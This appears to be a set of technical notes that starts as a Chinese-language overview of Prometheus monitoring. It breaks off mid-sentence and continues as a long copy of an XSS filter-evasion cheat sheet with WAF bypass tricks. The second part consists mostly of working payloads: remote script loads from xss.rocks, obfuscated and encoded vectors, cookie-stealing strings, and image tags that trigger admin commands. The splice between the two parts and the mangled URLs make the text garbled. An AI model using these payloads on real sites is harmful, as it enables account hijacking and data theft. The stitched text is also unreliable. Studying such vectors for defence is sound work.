resolution that degrades over time. + +- This permits fine grained results in queries at the expense of storage. + - Although Prometheus' storage engine is very efficient, it is better to keep the metrics retention period shorter rathen than longer. + - Typical values span from 15 days to a few months. + + +Prometheus' model scrapes data from exporters. This means that Prometheus should have a list of targets to scrape. This list may be set manually or automatically via supported backends —such as consul, zookeeper and kubernetes. + + + +### 主要的特色 + +- 一站式监控告警平台,依赖少,功能齐全. +- 支持对云或容器的监控,其他系统主要对主机监控. +- 数据查询语句表现力更强大,内置更强大的统计函数. +- 在数据存储扩展性以及持久性上没有 InfluxDB,OpenTSDB,Sensu 好. + + +**什么时候用它合适** +- Prometheus可以很好地记录任何纯数字时间序列. + - 既适合以机器为中心的监视,也适合高度动态的面向服务的体系结构的监视. + - 在微服务的世界中,它对多维数据收集和查询的支持是一个特别的优势. +- Prometheus是为可靠性而设计的 + - 在服务宕机的时候,你可以快速诊断问题. + - 每台Prometheus服务器都是独立的,不依赖于网络存储或其他远程服务. + +**什么时候用它不合适** +- Prometheus的值的可靠性.你总是可以查看有关系统的统计信息,即使在出现故障的情况下也是如此. +- 如果你需要100%的准确性,例如按请求计费,Prometheus不是一个好的选择,因为收集的数据可能不够详细和完整.在这种情况下,最好使用其他系统来收集和分析用于计费的数据,并使用Prometheus来完成剩下的监视工作. + + + + + +与Nagios、Zabbix、Ganglia、Open-Falcon等很多监控系统相比,Prometheus最主要的特色有4个: +- 通过PromQL实现`多维度数据模型的灵活查询`. +- 定义了`开放指标数据的标准,自定义探针`(如Exporter等),编写简单方便. +- PushGateway组件让这款监控系统`可以接收监控数据`. +- 提供了`VM和容器化的版本`. + + + +除了上述4种特色之外,Prometheus还有如下特点: +- Go语言编写,拥抱云原生. +- 采用拉模式为主、推模式为辅的方式采集数据. +- 二进制文件直接启动,也支持容器化部署镜像. +- 支持多种语言的客户端 + - 如Java、JMX、Python、Go、Ruby、.NET、Node.js等语言. +- 支持本地和第三方远程存储,单机性能强劲,可以处理上千target及每秒百万级时间序列. +- 高效的存储. + - 平均一个采样数据占3.5B左右,共320万个时间序列,每30秒采样一次,如此持续运行60天,占用磁盘空间大约为228GB(有一定富余量,部分要占磁盘空间的项目未在这里列出). +- 可扩展. + - 可以在每个数据中心或由每个团队运行独立Prometheus Server. + - 也可以使用联邦集群让多个Prometheus实例产生一个逻辑集群,当单实例Prometheus Server处理的任务量过大时,通过使用功能分区(sharding)+联邦集群(federation)对其进行扩展. +- 出色的可视化功能. + - Prometheus拥有多种可视化的模式,比如内置表达式浏览器、Grafana集成和控制台模板语言. + - 它还提供了HTTP查询接口,方便结合其他GUI组件或者脚本展示数据. +- 精确告警. + - Prometheus基于灵活的PromQL语句可以进行告警设置、预测等, + - 另外它还提供了分组、抑制、静默等功能防止告警风暴. +- 支持静态文件配置和动态发现等自动发现机制 + - 目前已经支持了Kubernetes、etcd、Consul等多种服务发现机制, + - 这样可以大大减少容器发布过程中手动配置的工作量. +- 开放性. + - Prometheus的client library的输出格式不仅支持Prometheus的格式化数据,还可以在不使用Prometheus的情况下输出支持其他监控系统(比如Graphite)的格式化数据. + + +Prometheus 也存在一些局限性,主要包括如下方面: +- 主要针对性能和可用性监控 + - 不适用于针对日志(Log)、事件(Event)、调用链(Tracing)等的监控. +- 关注的是近期发生的事情,而不是跟踪数周或数月的数据. + - 因为大多数监控查询及告警都针对的是最近(通常不到一天)的数据. + - 监控数据默认保留15天. +- 本地存储有限,存储大量的历史数据需要对接第三方远程存储. +- 采用联邦集群的方式,并没有提供统一的全局视图. +- 监控数据并没有对单位进行定义. +- 对数据的统计无法做到100%准确,如订单、支付、计量计费等精确数据监控场景. +- 默认是拉模型,建议合理规划网络,尽量不要转发. + +--- + +## kafka with Prometheus + + +- The Kafka ecosystem is based on the JVM and as such exports metrics via JMX. + +- **Prometheus** expects its own format for metrics and thus provides small applications called `exporters` that can translate metrics from various software. + +- **jmx_exporter** is such an application, that converts JMX metrics to the Prometheus format. + - It comes in two flavors: server (standalone) and agent. + + - In agent mode, it runs as a `java agent` within the application to be monitored. + - The suggested mode for most applications. easier to setup and can provide operational metrics as well (CPU usage, memory usage, open file descriptors, JVM statistics, etc). + + - In server mode, it runs as a `separate application` that `connects` to the monitored application via JMX, `reads` the metrics and then `serves` them in Prometheus format. + + - In special cases such as the brokers we suggest the server mode. + - under load (hundreds or thousands of topics, clients, etc) the brokers can expose tens or even hundreds of thousands of metrics, + - we have identified a few cases where the jmx_exporter agent can’t keep up and may cause trouble to the broker as well. + - The jmx_exporter server as a standalone application will not affect the broker. Jmx_exporter server instances should be co-hosted when possible with the application they monitor, especially for software such as the brokers that expose too many metrics. + + +--- + +## Prometheus架构剖析 + +![91e28b3a8475155e8748fbc91b3998c2](https://i.imgur.com/nTSKO7p.png) + + +![Screen Shot 2022-09-07 at 11.06.10](https://i.imgur.com/OOAu2Em.png) + +**6个核心模块构成** +- Prometheus Server + - 主要用于抓取数据和存储时序数据, + - 另外还提供查询和 Alert Rule 配置管理. +- client libraries + - 用于对接 Prometheus Server, 可以查询和上报数据. +- Pushgateway + - 用于批量,短期的监控数据的汇总节点,主要用于业务数据汇报等. +- Job/Exporter + - 汇报数据 + - 例如汇报机器数据的 node_exporter, + - 汇报 MongoDB 信息的 MongoDB exporter 等等. +- Service Discovery、 +- Alertmanager + - 用于告警通知管理 +- Dashboard + + +**架构** +- Prometheus通过服务发现机制发现target + - Prometheus server 定期从 `静态配置的 targets` 或者 `服务发现的 targets` 拉取数据 + - targets: + - 可以是长时间执行的Job, + - 也可以是短时间执行的Job, + - 还可以是通过Exporter监控的第三方应用程序. + +- 被抓取的数据会存储起来, + - 当新拉取的数据大于配置内存缓存区的时候, + - Prometheus 会将数据持久化到磁盘 + - 如果使用 remote storage 将持久化到云端 + + - Prometheus 可以配置 rules,然后通过 `PromQL语句` 定时查询数据 + + - 在仪表盘等可视化系统中供查询, + - 可以使用 API, Prometheus Console 或者 Grafana 查询和聚合数据. + + - 当条件触发的时候向 `Alertmanager` 发送告警信息, + - Alertmanager 收到警告的时候,可以根据配置,聚合,去重,降噪,最后发送警告. + - 告警会通过页面、电子邮件、钉钉信息或者其他形式呈现. + +Prometheus不仅是一款时间序列数据库,在整个生态上还是一套完整的监控系统. +- 对于时间序列数据库,在进行技术选型的时候,往往需要从宽列模型存储、类SQL查询支持、水平扩容、读写分离、高性能等角度进行分析. +- 而监控系统的架构,除了在选型时需要考虑的因素之外,往往还需要考虑通过减少组件、服务来降低成本和复杂性以及水平扩容等因素. + + +很多企业自己研发的监控系统中往往会 +- 使用消息队列Kafka和Metrics parser、Metrics process server等Metrics解析处理模块, +- 再辅以Spark等流式处理方式. +- 应用程序将Metric推到消息队列(如Kafaka),然后经过Exposer中转,再被Prometheus拉取. +- 之所以会产生这种方案,是因为考虑到有历史包袱、复用现有组件、通过MQ(消息队列)来提高扩展性等因素. +- 这个方案会有如下几个问题: + - 增加了查询组件,比如基础的sum、count、average函数都需要额外进行计算. + - 这一方面多了一层依赖,在查询模块连接失败的情况下会多提供一层故障风险; + - 另一方面,很多基本的查询功能的实现都需要消耗资源.而在Prometheus的架构里,上述这些功能都是得到支持的. + - 抓取时间可能会不同步,延迟的数据将会被标记为陈旧数据. + - 如果通过添加时间戳来标识数据,就会失去对陈旧数据的处理逻辑. + - Prometheus适用于监控大量小目标的场景,而不是监控一个大目标, + - 如果将所有数据都放在Exposer中,那么Prometheus的单个Job拉取就会成为CPU的瓶颈. + - 这个架构设计和Pushgateway类似,因此如果不是特别必要的场景,官方都不建议使用. 缺少服务发现和拉取控制机制 + - Prometheus只能识别Exposer模块,不知道具体是哪些target,也不知道每个target的UP时间,所以无法使用Scrape_*等指标做查询,也无法用scrape_limit做限制. + +对于上述这些重度依赖,可以考虑将其优化掉,而Prometheus这种采用以拉模式为主的架构,在这方面的实现是一个很好的参考方向. + +同理,很多企业的监控系统对于cmdb具有强依赖,通过Prometheus这种架构也可以消除标签对cmdb的依赖. + + +--- + + +### pull vs push + +pull方式 +- Prometheus采集数据是用的 pull 拉模型 +- 通过HTTP协议去采集指标, + - 只要应用系统能够提供HTTP接口就可以接入监控系统, + - 相比于私有协议或二进制协议来说开发、简单。 + +push方式 +- 对于定时任务这种短周期的指标采集,如果采用pull模式,可能造成任务结束了,Prometheus还没有来得及采集,这个时候可以使用加一个中转层,客户端推数据到Push Gateway缓存一下,由Prometheus从push gateway pull指标过来。 +- 需要额外搭建Push Gateway,同时需要新增job去从gateway采数据 + + + + +--- + +### Job/Exporter + +`Job/Exporter`属于Prometheus target,是Prometheus监控的对象. + +**Job** +- 分为长时间执行和短时间执行两种. + - 对于长时间执行的Job,可以使用Prometheus Client集成进行监控; + - 对于短时间执行的Job,可以将监控数据推送到Pushgateway中缓存. + +**Exporter** +- Prometheus收录的`Exporter`有上千种,它可以用于第三方系统的监控. +- Exporter的机制是将第三方系统的监控数据按照Prometheus的格式暴露出来,没有Exporter的第三方系统可以自己定制Exporter +- Prometheus是一个白盒监视系统,它会对应用程序内部公开的指标进行采集. +- blackbox_exporter + - 假如用户想从外部检查,这就会涉及黑盒监控,Prometheus中常用的黑盒Exporter就是blackbox_exporter. + - blackbox_exporter 包括一些现成的模块,例如HTTP、TCP、POP3S、IRC和ICMP. + - blackbox.yml 可以扩展其中的配置,以添加其他模块来满足用户的需求. + - blackbox_exporter一个令人满意的功能是,如果模块使用TLS/SSL,则Exporter将在证书链到期时自动公开,这样可以很容易地对即将到期的SSL证书发出告警. + +#### Telegraf +- Exporter种类繁多,每个Exporter又都是独立的,每个组件各司其职.但是Exporter越多,维护压力越大,尤其是内部自行开发的Agent等工具需要大量的人力来完成资源控制、特性添加、版本升级等工作,可以考虑替换为Influx Data公司开源的Telegraf统一进行管理. +- Telegraf是一个用Golang编写的用于数据收集的开源Agent,其基于插件驱动.Telegraf提供的输入和输出插件非常丰富,当用户有特殊需求时,也可以自行编写插件(需要重新编译),它在Influx Data架构中的位置如图所示. + +![5058438d75a9a69e2ddfc760146b018a](https://i.imgur.com/VYaFZix.png) + + +- Telegraf就是Influx Data公司的时间序列平台**TICK**(一种高性能时序中台)技术栈中的“T” +- 主要用于收集时间序列型数据,比如服务器CPU指标、内存指标、各种IoT设备产生的数据等. +- Telegraf支持各种类型Exporter的集成,可以实现Exporter的多合一. +- 还有一种思路就是通过主进程拉起多个Exporter进程,仍然可以跟着社区版本进行更新. + +- Telegraf的CPU和内存使用率极低,支持几乎所有的集成监控和丰富的社区集成可视化,如Linux、Redis、Apache、StatsD、Java/Jolokia、Cassandra、MySQL等. +- 由于Prometheus和InfluxDB都是时间序列存储监控系统,可以变通地将Telegraf对接到Prometheus中.在实际POC环境验证中,使用Telegraf集成Prometheus比单独使用Prometheus会拥有更低的内存使用率和CPU使用率. + + + +### Pushgateway + +- Prometheus是`拉模式`为主的监控系统,它的`推模式`就是通过Pushgateway组件实现的. +- Pushgateway是支持临时性Job主动推送指标的中间网关,它本质上是一种用于监控Prometheus服务器无法抓取的资源的解决方案. +- 它也是用Go语言编写的,在Apache 2.0许可证下开源. + +- Pushgateway作为一个独立的服务,位于被采集监控指标的应用程序和Prometheus服务器之间. + - 应用程序主动推送指标到Pushgateway, + - Pushgateway接收指标, + - 然后Pushgateway也作为target被Prometheus服务器抓取.它 +- 的使用场景主要有如下几种: + - 临时/短作业 + - 批处理作业 + +- 应用程序与Prometheus服务器之间有网络隔离, + - 如安全性(防火墙)、 + - 连接性(不在一个网段,服务器或应用程序仅允许特定端口或路径访问). +- Pushgateway与网关类似,在Prometheus中被建议作为临时性解决方案,主要用于监控不太方便访问到的资源. +- 它会丢失很多Prometheus服务器提供的功能,比如UP指标和指标过期时进行实例状态监控. + + +Pushgateway的常见问题 + +- 它存在单点故障问题.如果Pushgateway从许多不同的来源收集指标时宕机,用户将失去对所有这些来源的监控,可能会触发许多不必要的告警. + +- Pushgateway不会自动删除推送给它的任何指标数据. + - 因此,必须使用Pushgateway的API从推送网关中删除过期的指标. + +```bash +curl -X DELETE https://pushgateway.example.org:9091/metrics/job/some_job/instance/ some_instance +``` + +- 防火墙和NAT问题.推荐做法是将Prometheus移到防火墙后面,让Prometheus更加接近采集的目标. + +- 注意,Pushgateway会丧失Prometheus通过UP监控指标检查实例健康状况的功能,此时Prometheus对应的拉状态的UP指标只是针对单Pushgateway服务的. + + + +--- + + +### Service Discovery 服务发现 + +- 作为下一代监控系统的首选解决方案,Prometheus通过`服务发现`机制对云以及容器环境下的监控场景提供了完善的支持. + +- 除了支持`文件的服务发现`(Prometheus会周期性地从文件中读取最新的target信息)外,Prometheus还支持多种常见的`服务发现组件`, + - 如`Kubernetes、DNS、Zookeeper、Azure、EC2和GCE`等. + - 例如,Prometheus可以使用Kubernetes的API获取容器信息的变化(如容器的创建和删除)来动态更新监控对象. + +- 对于支持文件的服务发现,实践场景下可以衍生为与自动化配置管理工具(Ansible、Cron Job、Puppet、SaltStack等)结合使用. + +- 通过服务发现的方式,管理员可以在不重启Prometheus服务的情况下动态发现需要监控的target实例信息. + +- 服务发现中有一个高级操作,就是 `Relabeling` 机制. + - Relabeling机制会从Prometheus包含的target实例中获取默认的元标签信息,从而对不同开发环境(测试、预发布、线上)、不同业务团队、不同组织等按照某些规则(比如标签)从服务发现注册中心返回的target实例中有选择性地采集某些Exporter实例的监控数据. + + +- 相对于直接使用文件配置,在云环境以及容器环境下更多的监控对象都是动态的. +- 实际场景下,Prometheus作为下一代监控解决方案,更适合云及容器环境下的监控需求,在服务发现过程中也有很多工作(如Relabeling机制)可以加持. + +--- + +### Prometheus Server + +- Prometheus服务器是Prometheus最核心的模块. +- 它主要包含抓取、存储和查询这3个功能 + +![a9185d697de249cce58df1299fc5e7e1](https://i.imgur.com/0PU96mT.png) + + + 抓取 : + +- Prometheus Server通过服务发现组件,周期性地从上面介绍的`Job、Exporter、Pushgateway`这3个组件中通过 `HTTP轮询` 的形式拉取监控指标数据. + + 存储 : + +- 抓取到的监控数据通过一定的规则清理和数据整理 + - 抓取前使用服务发现提供的 `relabel_configs` 方法 + - 抓取后使用作业内的 `metrics_relabel_configs` 方法 +- 会把得到的结果存储到新的时间序列中进行持久化. +- 多年来,存储模块经历了多次重新设计,Prometheus 2.0版的存储系统是第三次迭代. + - 该存储系统每秒可以处理数百万个样品的摄入,使得使用一台Prometheus服务器监控数千台机器成为可能. + - 使用的压缩算法可以在真实数据上实现每个样本1.3B.建议使用SSD,但不是严格要求. + +- Prometheus的存储分为本地存储和远程存储. + - **本地存储**: + - 会直接保留到本地磁盘 + - 性能上建议使用SSD且不要保存超过一个月的数据. + - 任何版本的Prometheus都不支持NFS.一些实际生产案例告诉我们,Prometheus存储文件如果使用NFS,则有损坏或丢失历史数据的可能. + - **远程存储**: + - 适用于存储大量的监控数据. + - Prometheus支持的远程存储包括`OpenTSDB、InfluxDB、Elasticsearch、Graphite、CrateDB、Kakfa、PostgreSQL、TimescaleDB、TiKV`等. + - 远程存储需要配合中间层的适配器进行转换,主要涉及Prometheus中的 `remote_write` 和 `remote_read` 接口. + - 在实际生产中,远程存储会出现各种各样的问题,需要不断地进行优化、压测、架构改造甚至重写上传数据逻辑的模块等工作. + + 查询 : + +- Prometheus持久化数据以后,客户端就可以通过 `PromQL` 语句对数据进行查询了. + +--- + +## Dashboard + +- Web UI、Grafana、API client可以统一理解为Prometheus Dashboard. + +- Prometheus服务器除了内置查询语言PromQL以外,还支持表达式浏览器及表达式浏览器上的数据图形界面. + +- 实际工作中使用Grafana等作为前端展示界面,用户也可以直接使用Client向Prometheus Server发送请求以获取数据. + +--- + +## Alertmanager + +- Alertmanager是独立于Prometheus的一个告警组件,需要单独安装部署. + +- Prometheus可以将多个Alertmanager配置为一个集群,通过服务发现动态发现告警集群中节点的上下线从而`避免单点问题`,Alertmanager也支持集群内多个实例之间的通信, + + +![cbf3cc219ca9a431076763bdcdeb7978](https://i.imgur.com/Fcv3sIi.png) + +- Alertmanager接收Prometheus推送过来的告警,用于管理、整合和分发告警到不同的目的地. + +- Alertmanager + - 提供了多种内置的第三方告警通知方式, + - 同时还提供了对Webhook通知的支持,通过Webhook用户可以完成对告警的更多个性化的扩展. +- Alertmanager除了提供基本的告警通知能力以外,还提供了如分组、抑制以及静默等告警特性 + + +--- + +## 数据模型 + +Prometheus基本上将所有数据存储为时间序列:属于同一指标和同一组标记维度的时间戳值流.除了存储时间序列外,Prometheus还可以根据查询结果生成临时派生的时间序列. + +时间序列 time series: streams of timestamped values belonging to the same metric and the same set of labeled dimensions + +**Metric names and labels** + +- Every time series is uniquely identified by its metric name and optional key-value pairs called labels. + - 每个时间序列都由其指标名称和称为标签的可选键值对唯一标识) + +- 指标名称 + - 指定要度量的系统的一般特性(例如, `http_requests_total` 表示接收的HTTP请求的总数). + - 它可能包含ASCII字母和数字,以及下划线和冒号. + - 它必须匹配正则表达式`[a-zA-Z_:][a-zA-Z0-9_:]*` +- 标签名称 + - 可以包含ASCII字母、数字和下划线. + - 它们必须匹配正则表达式`[a-zA-Z_][a-zA-Z0-9_]*`. + - 以__开头的标签名称保留内部使用. + +- 标签值可以包含任何Unicode字符. + + + +**Sample(样本)** + +- 样本构成实际的时间序列数据. + +- 每个样本包括: + - a float64 value + - a millisecond-precision timestamp + + +**notation(记法)** +- 给定一个度量名称和一组标签,时间序列通常使用以下符号标识: +- `{

    +``` + +TD +Just like above, TD’s are vulnerable to BACKGROUNDs containing JavaScript XSS vectors: + +```js +
    +``` + +DIV +DIV Background-image + +```js +
    +``` + +DIV Background-image with Unicoded XSS Exploit +This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail: + +```js +
    +``` + +## DIV Background-image Plus Extra Characters +Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279): +``` +St...yle=背景图片"xxx: 地址括号 js: 警报括号'your word'括号括号" +``` + +DIV Expression +A variant of this was effective against a real world cross site scripting filter using a newline between the colon and “expression”: + +```js +
    +``` + +Downlevel-Hidden Block +Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn’t do the job: + +```js + +``` + +BASE Tag +Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won’t get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like images/image.jpg rather than full paths. If the path includes a leading forward slash like /images/image.jpg you can remove one slash from this vector (as long as there are two to begin the comment this will work): + +```js + +``` + +OBJECT Tag +If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS: + +```js + +``` + +EMBED a Flash Movie That Contains XSS +Click here for a demo: http网址ha.ckers.org/xss.swf + +```js + +``` + +If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). + +EMBED SVG Which Contains XSS Vector +This example only works in Firefox, but it’s better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one. + + +```js + + +Using ActionScript Inside Flash for Obfuscation +a="get"; +b="URL(\""; +c="javascript:"; +d="alert('XSS');\")"; +eval(a+b+c+d); +``` + +XML Data Island with CDATA Obfuscation +This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode - vector found by Sec Consult while auditing Yahoo: + +```js +pic + + +``` +Locally hosted XML with embedded JavaScript that is generated using an XML data island +This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here: + +```js + + + +``` + +HTML+TIME in XML +This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work: + +```js + + + + +"> + +Assuming you can only fit in a few characters and it filters against .js +You can rename your JavaScript file to an image as an XSS vector: +``` + +```js + +``` + +## SSI (Server Side Includes) +This requires SSI to be installed on the server to use this XSS vector. I probably don’t need to mention this, but if you can run commands on the server there are no doubt much more serious issues: + +```js + +``` + +PHP +Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts ## remotely like this, there are probably much more dire issues: + +```js +alert("XSS")'); ?> +``` + +IMG Embedded Commands +This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc…. This is one of the lesser used but more useful XSS vectors: + +```js +pic +``` + +IMG Embedded Commands part II +This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal `pic` could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this): + +```js +Redirect 302 /a.jpg http网址victimsite.com/admin.asp&deleteuser +``` + +Cookie Manipulation +Admittedly this is pretty obscure but I have seen a few examples where ` +``` + +UTF-7 Encoding +If the page that the XSS resides on doesn’t provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don’t need the charset statement if the user’s browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google’s custom 404 script.: + +```js + +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- + +``` +XSS Using HTML Quote Encapsulation +This was tested in IE, your mileage may vary. +For performing XSS on sites that allow ` +``` + +For performing XSS on sites that allow ` +``` + +Another XSS to evade the same filter, `/\\\s\]+))?)+\\s\*|\\s\*)src/i`: + +```js + +``` + +Yet another XSS to evade the same filter, `/\\\s\]+))?)+\\s\*|\\s\*)src/i`. I know I said I wasn’t goint to discuss mitigation techniques but the only thing I’ve seen work for this XSS example if you still want to allow ` +``` + +And one last XSS attack to evade, `/\\\s\]+))?)+\\s\*|\\s\*)src/i` using grave accents (again, doesn’t work in Firefox): + +```js + +``` + +Here’s an XSS example that bets on the fact that the regex won’t catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly: + +```js + +``` + +This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content: + +```js +PT SRC="httx://xss.rocks/xss.js"> +``` + +URL String Evasion +Assuming http网址www.google.com/ is programmatically disallowed: + +IP Versus Hostname + +```js +XSS +``` + +URL Encoding + +```js +XSS +``` + +DWORD Encoding +Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details: + +```js +XSS +``` + +Hex Encoding +The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required: + +```js +XSS +``` + +Octal Encoding +Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc…: + +```js +XSS +``` + +Base64 Encoding + +```js + +``` + +Mixed Encoding +Let’s mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I’ll never know. The tabs and newlines only work if this is encapsulated with quotes: + +```js +XSS + +Protocol Resolution Bypass +// translates to http网址 which saves a few more bytes. This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like (ht|f)tp(s)?:// (thanks to Ozh for part of this one). You can also change the // to \\\\. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL. + +XSS +``` +Google “feeling lucky” part 1. +Firefox uses Google’s “feeling lucky” function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox’s keyword: protocol. You can concatenate several keywords by using something like the following keyword:XSS+RSnake for instance. This no longer works within Firefox as of 2.0. + +```js +XSS +``` + +Google “feeling lucky” part 2. +This uses a very tiny trick that appears to work Firefox only, because of it’s implementation of the “feeling lucky” function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It’s simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0: + +```js +XSS +``` + +Google “feeling lucky” part 3. +This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the “feeling lucky” function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case “google”): + +```js +XSS +``` + +Removing CNAMEs +When combined with the above URL, removing www. will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly): + +```js +XSS +``` + +Extra dot for absolute DNS: + +```js +XSS +``` + +JavaScript Link Location: + +```js +XSS +``` + +Content Replace as Attack Vector +Assuming http网址www.google.com/ is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: java&\#x09;script: was converted into java script:, which renders in IE, Netscape 8.1+ in secure site mode and Opera): + +```js +XSS +``` + +Assisting XSS with HTTP Parameter Pollution +Assume a content sharing flow on a web site is implemented as below. There is a “Content” page which includes some content provided by users and this page also includes a link to “Share” page which enables a user choose their favorite social sharing platform to share it on. Developers HTML encoded the “title” parameter in the “Content” page to prevent against XSS but for some reasons they didn’t URL encoded this parameter to prevent from HTTP Parameter Pollution. Finally they decide that since content_type’s value is a constant and will always be integer, they didn’t encode or validate the content_type in the “Share” page. + +Content Page Source Code +`a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share` + +Share Page Source Code + +```js + +``` +Content Page Output +In this case if attacker set untrusted content title as “This is a regular title&content_type=1;alert(1)” the link in “Content” page would be this: + +```js +Share +``` + +Share Page Output +And in share page output could be this: + +```js + +``` +As a result, in this example the main flaw is trusting the content_type in the “Share” page without proper encoding or validation. HTTP Parameter Pollution could increase impact of the XSS flaw by promoting it from a reflected XSS to a stored XSS. + +Character Escape Sequences +All the possible combinations of the character “<” in HTML and JavaScript. Most of these won’t render out of the box, but many of them can get rendered in certain circumstances as seen above. + +```js +< +%3C + +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +\x3c +\x3C +\u003c +\u003C +Methods to Bypass WAF – Cross-Site Scripting +General issues +Stored XSS +If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction. + +Reflected XSS in Javascript +Example: +Exploitation: /?xss=500); alert(document.cookie);// +DOM-based XSS +Example: +Exploitation: /?xss=document.cookie +XSS via request Redirection +Vulnerable code: +... +header('Location: '.$_GET['param']); +... +As well as: + +.. +header('Refresh: 0; URL='.$_GET['param']); +... +This request will not pass through the WAF: +/?param=) + +This request will pass through the WAF and an XSS attack will be conducted in certain browsers. +/?param= +